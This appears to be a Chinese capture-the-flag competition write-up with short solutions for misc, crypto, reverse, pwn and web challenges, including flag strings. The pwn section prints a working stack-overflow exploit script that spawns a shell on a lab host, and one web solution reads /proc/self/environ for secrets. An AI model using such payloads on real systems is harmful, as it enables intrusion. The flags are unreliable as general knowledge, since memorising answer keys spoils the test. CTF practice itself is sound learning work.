Misc
Welcome
欢迎参加竞赛,这是你的 flag:flag{84c4b350-acba-11ef-b9e0-8f6a9a54e088}
flag 直接送
黑神话:悟空
png 改宽高,PuzzleSolver秒了
数据库
010 打开,发现里面全是 base64 内容,直接搜索 ZhxhZ(flag{base64 值),解密得到 flag
勒索演练
集团为了提高员工安全意识,决定开展内部勒索演练,向员工发放勒索病毒邮件,如果不甚感染,需要员工自行找到解除勒索病毒的 key。小明正在处理集团的一批敏感数据,突然收到一封来自“客户服务中心”的邮件,邮件中包含一个附件,声称是数据更新的重要通知,小明没有多想,直接点击了附件,导致电脑感染了勒索病毒,现在桌面上面除了勒索提示和一个流量包之外,其他文件全部被加密,勒索提示:尝试分析流量包,二进制转图片和 readme 或许会是寻找破局的关键......
题目描述提示二进制转图片,readme 提示 3 或 4 部分
readme: 我相信你知道作为一个间谍的苦衷,我好像忘记缺失了三个还是四个,又或者是 ICMP 还是 http。
给出了 flag1.txt 和 flag2.txt
flag1.txt 解密是骗人的,flag2.txt 无法解密,根据 readme 的提示判断是缺失了内容,查看 icmp 得到前 3 个缺失,http 最后提示了约定
得到 31303030,放到 flag2.txt 开头解密出二维码,扫描得到 flag
合规文档
文档里给了 key 和 iv,后缀改.zip 得到密文 vhuuzRIJ7lQmIKpAts3n5HnxQufypuGJ566ezmFFWoRnQQiTyGBYo3fQoXYjVmOL,DES 解密得到 flag
flag{d17c3ebe-9295-11ef-b33d-e7635ce82117}
Crypto
Xor
CyberChef 直接 Xor Brute 出 flag
babyRsa
一开始以为要爆 n 得 p q,仔细一看给 d 了,c d n 直接出,痛失一血
from gmpy2 import invert
from Crypto.Util.number import bytes_to_long,long_to_bytes,getPrime
m1 = b'*******************************'
d = 65537
c = 58281986026155401653961791566565447945093060846820356613308332714858279014947481661513787576640319037284520744272633213837354707251964956768815265455459826395564460354962857046350158054400893455735780422516856340337329601705254356434888404803272789503473262409379224212483785361817211613590386267074478685966
n = 62964295532234596693070018099070937019057164562112987091452887688141225085952321398697412374016096377122640058110868098037471603391390346233746234875640515398310934392553495004416513284691840371990557141082495349961527283652278396378415965015641029062902024667272908555073658903317411899735684224720763682691
print(long_to_bytes(pow(c,d,n)))
'''
c = 58281986026155401653961791566565447945093060846820356613308332714858279014947481661513787576640319037284520744272633213837354707251964956768815265455459826395564460354962857046350158054400893455735780422516856340337329601705254356434888404803272789503473262409379224212483785361817211613590386267074478685966
n = 62964295532234596693070018099070937019057164562112987091452887688141225085952321398697412374016096377122640058110868098037471603391390346233746234875640515398310934392553495004416513284691840371990557141082495349961527283652278396378415965015641029062902024667272908555073658903317411899735684224720763682691
'''
Reverse
checkin
base64 换表,Shift F12 就有 送分题
Pwn
backdoor
后门一把梭,0x40 的 buf,0x401216 的/bin/sh
from pwn import *
p=remote("10.240.0.11",12436)
p.recvuntil(b"Do you know what stack overflow is? \n")
payload = b"a"*0x40+b"a"*0x8 +p64(0x401216)
p.sendline(payload)
p.interactive()
Web
dino
F12 网络能看到 game over 时请求了 api.php,发起于 offline.js 的 1463 多行,查看此处代码得到 key iv,aes 解密后修改分数为 10001 重新加密请求得到 flag
Test Your Hamburger
差不多算 web 签到
recover
db.php 中的密码被修改,html.zip 中得到正确的数据库密码,连接数据库查看 blog 的 posts 表得到提示
从/proc/self/environ 中得到压缩包密码,解压得到 flag